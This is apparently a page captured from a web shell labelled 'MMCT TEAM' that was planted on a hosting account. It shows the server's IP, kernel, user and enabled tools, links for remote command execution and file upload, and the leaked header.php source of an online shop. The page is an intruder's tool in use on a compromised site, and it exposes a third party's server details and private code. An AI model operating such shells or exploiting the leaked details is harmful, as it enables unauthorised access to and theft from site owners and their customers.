MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.133.151.90
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/rajwadahouse.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/rajwadahouse.com/header.php
<?php 
    $count = 0;
    if(isset($_SESSION['cart'])){
       $count = count($_SESSION['cart']);
    }
?>
 <style>
      .shopping-card {
          position:relative;
          
      }
      .shopping::before{
          content: "<?php echo $count; ?>" !important;
          position:absolute;
          top:-5px;
          /*right:17px;*/
          left: 30px;
          font-size: 16px;
          font-weight:bold;
      }
      @media only screen and (max-width: 575px) {
          .shopping::before {
              left: 20px;
          }
      }
      .btn-user{
        background:white;
        color:black!important;
        padding:0px!important;
    }
    li{
        list-style-type:none;
    }
    .ionicons{
        font-size: 27px;
        color:#000;
    }
    .header-top-text h4{
        color:#ff0101;
    }
</style>
        <header class="header header-sticky">
            <div class="header-top pt-0 pb-0">
                <div class="container-fluid">
                    <div class="row">
                        <div class="col-12">
                            <div class="sb-border sb-border pt-10">
                                <div class="row align-items-center">
                                    <!-- Header Top Social Start -->
                                    <div class="col-lg-6">
                                        <marquee>
                                        <div class="header-top-text">
                                            <h4><strong>FREE SHIPPING For All Orders | Cash On Delivery Available</strong></h4>
                                        </div>
                                        </marquee>
                                    </div>
                                    <!-- Header Top Social End -->

                                    <!-- Header Logo Start -->
                                    <div class="col-lg-6 d-none d-lg-block">
                                        <div class="header-top-social justify-content-end">
                                            <a href="<?php echo $data1['facebook_link']?>" title="Facebook"><i class="fa fa-facebook"></i></a>
                                            <a href="<?php echo $data1['twitter_link']?>" title="Twitter"><i class="fa fa-twitter"></i></a>
                                            <a href="<?php echo $data1['linkedin_link']?>" title="LinkedIn"><i class="fa fa-linkedin"></i></a>
                                            <a href="<?php echo $data1["insta_link"] ?>" title="Instagram"><i class="fa fa-instagram"></i></a>
                                            <a href="<?php echo $data1['youtube_link']?>" title="Youtube"><i class="fa fa-youtube-play"></i></a>
                                        </div>
                                    </div>
                                    <!-- Header Logo Start -->
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="header-bottom d-none d-lg-block">
                <div class="container-fluid">
                    <div class="row align-items-center">

                        <!-- Header Logo Start -->
                        <div class="col-lg-2">
                            <div class="header-logo">
                                <a href="<?php echo $wspath?>"><img src="<?php echo $wspath ?>admin/images/<?php echo $data1["header_logo"] ?>" alt=""></a>
                            </div>
                        </div>
                        <!-- Header Logo Start -->

                        <!--Menu start-->
                        <div class="col-lg-9 d-flex justify-content-center">
                            <nav class="main-menu main-menu-two">
                                <ul>
                                    <li><a href="<?php echo $wspath?>new-arrivals.html">New Arrivals</a></li>
                                    <?php 
                                       $sqlcat = "SELECT * FROM `tbl_main_cat` WHERE `cat_status`='Active' ORDER BY cat_order_by ASC";
                                       $runcat = mysqli_query($db,$sqlcat) or die("Query Not run");
                                       while($datacat = mysqli_fetch_assoc($runcat)){
                                    ?>
                                    <li><a href="<?php echo $wspath?>main<?php echo $datacat['slug']?>.html"><?php echo $datacat['cat_name'];?></a>
                                        <ul class="mega-menu four-column">
                                            <?php
                                                $maincat=$datacat['c_id'];
                                                $sqlsubcat = "SELECT * FROM `tbl_tourspots` WHERE main_cat_id='$maincat' AND `spots_status`='Active' ORDER BY subcat_order_by ASC";
                                                $runsubcat = mysqli_query($db,$sqlsubcat) or die("Query Not run");
                                                while($datasubcat = mysqli_fetch_assoc($runsubcat)){
                                            ?>
                                            <li><a href="<?php echo $wspath ?>category<?php echo $datasubcat['spots_url'];?>.html" class="item-link"><i class="fa fa-arrow-right"></i> <?php echo $datasubcat['spots_name'];?></a>
                                            <!--    <ul>-->
                                                    <?php
                                                        // $subcat=$datasubcat['spots_id'];
                                                        // $sqlprod = "SELECT * FROM `tbl_services` WHERE m_id='$subcat' AND `tour_status`='Active' ORDER BY tour_order ASC";
                                                        // $runprod = mysqli_query($db,$sqlprod) or die("Query Not run");
                                                        // while($dataprod = mysqli_fetch_assoc($runprod)){
                                                    ?>
                                                    <!--<li><a href="<?php //echo $wspath ?>product<?php //echo $dataprod['slug_url'];?>.html"><?php //echo $dataprod['name'];?></a></li>-->
                                                    <?php //}?>
                                            <!--    </ul>-->
                                            <!--</li>-->
                                            <?php }?>
                                        </ul>
                                    </li>
                                    <?php }?>
                                    <li><a href="<?php echo $wspath?>offer.html">Offer Products</a>
                                    </li>

                                    <li><a href="<?php echo $wspath?>about.html">About Us</a></li>
                                    
                                    <li><a href="<?php echo $wspath?>contact.html">Contact Us</a></li>
                                </ul>
                            </nav>
                        </div>
                        <!--Menu end-->

                        <!-- Header Cart Start -->
                        <div class="col-lg-1 d-flex justify-content-end">
                            <div class="header-search">
                                
                                <button class="header-search-toggle"><i class="ion-ios-search-strong"></i></button>
                                <div class="header-search-form">
                                    <form method="POST" action="search.php">
                                        <input type="text" placeholder="Type and hit enter" name="prodsearch">
                                        <button type="submit" name="search"><i class="ion-ios-search-strong"></i></button>
                                    </form>
                                </div>
                            </div>
                            <ul class="ht-us-menu">
                              <li>
                                  <a href="#"><i class="ion-android-settings"></i></a>
                                  <ul class="ht-dropdown right">
                                      <?php 
                                          session_start();
                                          if(isset($_SESSION['user'])) {
                                              $user_id = $_SESSION['user']['cus_id'];
                                              echo '
                                              <li><a href="'.$wspath.'my-account.html">My Account</a></li>
                                              <li><a href="'.$wspath.'wishlist.html">My Wishlist</a></li>
                                              <li><a href="'.$wspath.'logout.php">Log Out</a></li>';
                                          } else {
                                              echo '
                                              <li><a href="'.$wspath.'login.php">Log in</a></li>';
                                          }
                                      ?>
                                  </ul>
                              </li>
                            </ul>

                            <ul class="ht-us-menu">
                                <li class="shopping-card">
                                     <a href="<?php echo $wspath?>cart.html" class="shopping"><i class="ionicons ion-android-cart"></i></a>
                                </li>
                            </ul>
                        </div>
                        <!-- Header Cart End -->

                    </div>

                </div>
            </div>
</header>

        <!--Header section end-->

        <!--Header Mobile section start-->

        <header class="header-mobile d-block d-lg-none">
            <div class="header-bottom menu-right">
                <div class="container">
                    <div class="row">
                        <div class="col-12">
                            <div class="header-mobile-navigation d-block d-lg-none">
                                <div class="row align-items-center">
                                    <div class="col-6 col-md-6">
                                        <div class="header-logo">
                                            <a href="<?php echo $wspath?>">
                                                <img src="<?php echo $wspath ?>admin/images/<?php echo $data1["header_logo"] ?>" class="img-fluid" alt="">
                                            </a>
                                        </div>
                                    </div>
                                    <div class="col-6 col-md-6">
                                        <div class="mobile-navigation text-end">
                                            <div class="header-icon-wrapper">
                                                <ul class="icon-list justify-content-end">
                                                    <li>
                                                        <div class="header-cart-icon shopping-card">
                                                            <a href="<?php echo $wspath?>cart.html" class="shopping"><i class="ion-bag"></i></a>
                                                        </div>
                                                    </li>
                                                    <li>
                                                        <a href="javascript:void(0)" class="mobile-menu-icon" id="mobile-menu-trigger"><i class="fa fa-bars"></i></a>
                                                    </li>
                                                </ul>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

                    <!--Mobile Menu start-->
                    <div class="row">
                        <div class="col-12 d-flex d-lg-none">
                            <div class="mobile-menu"></div>
                        </div>
                    </div>
                    <!--Mobile Menu end-->

                </div>
            </div>
        </header>

        <!--Header Mobile section end-->

        <!-- Offcanvas Menu Start -->
        <div class="offcanvas-mobile-menu" id="offcanvas-mobile-menu">
            <a href="javascript:void(0)" class="offcanvas-menu-close" id="offcanvas-menu-close-trigger">
                <i class="ion-android-close"></i>
            </a>

            <div class="offcanvas-wrapper">
                <div class="offcanvas-inner-content">
                    <!--<div class="offcanvas-mobile-search-area">-->
                    <!--    <form method="POST" action="search.php">-->
                    <!--        <input type="search" placeholder="Search ..." name="area">-->
                    <!--        <button type="submit"><i class="fa fa-search"></i></button>-->
                    <!--    </form>-->
                    <!--</div>-->
                    <nav class="offcanvas-navigation">
                        <ul>
                            <li class="menu-item-has-children"><a href="<?php echo $wspath?>new-arrivals.html">New Arrivals</a>
                               
                            </li>
                              <?php 
                                    $sqlcat = "SELECT * FROM `tbl_main_cat` WHERE `cat_status`='Active' ORDER BY cat_order_by ASC";
                                    $runcat = mysqli_query($db,$sqlcat) or die("Query Not run");
                                    while($datacat = mysqli_fetch_assoc($runcat)){
                                ?>
                            <li class="menu-item-has-children"><a href="<?php echo $wspath?>main<?php echo $datacat['slug']?>.html"><?php echo $datacat['cat_name'];?></a>
                                <ul class="submenu2">
                                     <?php
                                        $maincat=$datacat['c_id'];
                                        $sqlsubcat = "SELECT * FROM `tbl_tourspots` WHERE main_cat_id=$maincat AND `spots_status`='Active' ORDER BY subcat_order_by ASC";
                                        $runsubcat = mysqli_query($db,$sqlsubcat) or die("Query Not run");
                                        while($datasubcat = mysqli_fetch_assoc($runsubcat)){ 
                                    ?>
                                    <li class="menu-item-has-children"><a href="<?php echo $wspath ?>category<?php echo $datasubcat['spots_url'];?>.html"><?php echo $datasubcat['spots_name'];?> </a>
                                        <!--<ul class="submenu2">-->
                                             <?php
                                                    // $subcat=$datasubcat['spots_id'];
                                                    // $sqlprod = "SELECT * FROM `tbl_services` WHERE m_id=$subcat AND `tour_status`='Active' ORDER BY tour_order ASC";
                                                    // $runprod = mysqli_query($db,$sqlprod) or die("Query Not run");
                                                    // while($dataprod = mysqli_fetch_assoc($runprod)){
                                                ?>
                                            <!--<li><a href="<?php //echo $wspath ?>product<?php //echo $dataprod['slug_url'];?>.html"><?php // echo $dataprod['name'];?></a></li>-->
                                            <?php //}?>
                                        <!--</ul>-->
                                    </li>
                                    <?php }?>
                                </ul>
                            </li>
                            <?php }?>
                            <!--<li class="menu-item-has-children"><a href="<?php echo $wspath?>blog-listing.html">Blog</a>-->
                               
                            </li>
                            <li class="menu-item-has-children"><a href="<?php echo $wspath?>about.html">About Us</a>
                            </li>
                            <li class="menu-item-has-children"><a href="<?php echo $wspath?>contact.html">Contact Us</a>
                            </li>
                            
                            <?php 
                                    session_start();
                                    if(isset($_SESSION['user'])) {
                                        $user_id = $_SESSION['user']['cust_name'];
                                        echo '
                                        <li class="menu-item-has-children">
                                        <a >More</a>
                                        <ul class="submenu2">
                                        <li><a href="'.$wspath.'my-account.html">My Account</a></li>
                                        <li><a href="'.$wspath.'wishlist.html">My Wishlist</a></li>
                                        <li><a href="'.$wspath.'logout.php">Log Out</a></li>
                                        </ul>
                                        </li>
                                        ';
                                    } else {
                                        echo '
                                        <li><a href="'.$wspath.'login.html">Log in</a></li>';
                                    }
                            ?>
                            
                        </ul>
                    </nav>

                    <div class="offcanvas-settings">
                        <nav class="offcanvas-navigation">
                            <ul>
                                
                            </ul>
                        </nav>
                    </div>

                    <div class="offcanvas-widget-area">
                        <div class="off-canvas-contact-widget">
                            <div class="header-contact-info">
                                <ul class="header-contact-info-list">
                                    <li><i class="ion-android-phone-portrait"></i> <a href="tel:<?php echo $data1['phone']?>"><?php echo $data1['phone']?></a></li>
                                    <li><i class="ion-android-mail"></i> <a
                                            href="mailto:<?php echo $data1['email']?>"> <?php echo $data1['email']?></a></li>
                                </ul>
                            </div>
                        </div>
                        <!--Off Canvas Widget Social Start-->
                        <div class="off-canvas-widget-social">
                            <a href="<?php echo $data1['facebook_link']?>" title="Facebook"><i class="fa fa-facebook"></i></a>
                            <a href="<?php echo $data1['twitter_link']?>" title="Twitter"><i class="fa fa-twitter"></i></a>
                            <a href="<?php echo $data1['linkedin_link']?>" title="LinkedIn"><i class="fa fa-linkedin"></i></a>
                            <a href="<?php echo $data1["insta_link"] ?>" title="Instagram"><i class="fa fa-instagram"></i></a>
                            <a href="<?php echo $data1['youtube_link']?>" title="Youtube"><i class="fa fa-youtube-play"></i></a>
                            <!--<a href="#" title="Vimeo"><i class="fa fa-vimeo-square"></i></a>-->
                        </div>
                        <!--Off Canvas Widget Social End-->
                    </div>
                </div>
            </div>

        </div>
        

MMCT - 2023